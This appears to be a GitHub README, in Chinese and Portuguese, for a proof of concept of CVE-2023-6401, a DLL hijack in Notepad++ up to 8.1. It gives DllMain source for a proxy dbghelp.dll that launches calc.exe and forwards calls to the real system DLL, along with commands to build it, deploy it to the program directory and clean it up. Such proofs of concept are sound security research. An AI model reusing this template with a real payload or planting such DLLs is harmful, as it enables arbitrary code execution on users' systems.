mekitoci/cve-2023-6401CVE-2023-6401 é uma vulnerabilidade de sequestro de DLL que permite que atacantes executem código arbitrário colocando um arquivo `dbghelp.dll` malicioso no diretório do aplicativo. Este projeto demonstra a vulnerabilidade e fornece um PoC reproduzível.
⚠️ 重要聲明：僅供安全研究和教育目的使用
NotePad++ ≤ 8.1 DLL劫持漏洞的概念驗證。通過在應用程式目錄放置惡意 dbghelp.dll 來執行任意程式碼。
# 下載專案
git clone https://github.com/mekitoci/CVE-2023-6401.git
# 進入專案目錄
cd CVE-2023-6401-main
# 編譯DLL
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 部署到NotePad++目錄
copy dbghelp.dll "C:\Program Files\Notepad++\"
# 執行測試
"C:\Program Files\Notepad++\notepad++.exe"
# 立即清理
del "C:\Program Files\Notepad++\dbghelp.dll"
預期結果： 計算器彈出 + 訊息框顯示 + NotePad++正常啟動
| 項目 | 詳情 |
|---|---|
| CVE編號 | CVE-2023-6401 |
| 影響版本 | NotePad++ ≤ 8.1 |
| 漏洞類型 | DLL劫持 / 搜尋路徑劫持 |
| 影響 | 執行任意程式碼 |
| 前提條件 | 應用程式目錄寫入權限 |
Windows按以下順序載入DLL：
NotePad++啟動時會載入 dbghelp.dll，通過在應用程式目錄放置同名惡意DLL，可在系統DLL載入前執行程式碼。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// 執行惡意程式碼
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// 載入真實DLL並轉發API調用
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"
本專案僅供教育和安全研究使用。使用者需對遵守適用法律法規承擔全部責任。
⚠️ AVISO IMPORTANTE: Apenas para fins de pesquisa em segurança e educação
Prova de conceito para a vulnerabilidade de DLL hijacking no NotePad++ ≤ 8.1. Execute código arbitrário colocando um dbghelp.dll malicioso no diretório do aplicativo.
# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git
# Navigate to project directory
cd CVE-2023-6401-main
# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"
# Execute test
"C:\Program Files\Notepad++\notepad++.exe"
# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"
Resultado Esperado: Calculadora abre + Caixa de mensagem exibida + NotePad++ inicia normalmente
| Item | Detalhes |
|---|---|
| Número CVE | CVE-2023-6401 |
| Versões Afetadas | NotePad++ ≤ 8.1 |
| Tipo de Vulnerabilidade | DLL Hijacking / Sequestro de Ordem de Pesquisa |
| Impacto | Execução de Código Arbitrário |
| Pré-requisitos | Permissão de escrita no diretório do aplicativo |
O Windows carrega DLLs na seguinte ordem:
O NotePad++ carrega dbghelp.dll na inicialização. Ao colocar uma DLL maliciosa com o mesmo nome no diretório do aplicativo, o código pode ser executado antes que a DLL do sistema seja carregada.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// Execute malicious code
WinExec("calc.exe", SW_SHOW);
MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);
// Load real DLL and forward API calls
char systemPath[MAX_PATH];
GetSystemDirectoryA(systemPath, MAX_PATH);
strcat(systemPath, "\\dbghelp.dll");
realDbghelp = LoadLibraryA(systemPath);
if (realDbghelp)
realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
break;
}
return TRUE;
}
gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows
# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"
# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"
Este projeto é apenas para fins educacionais e de pesquisa em segurança. Os usuários são os únicos responsáveis pela conformidade com as leis e regulamentos aplicáveis.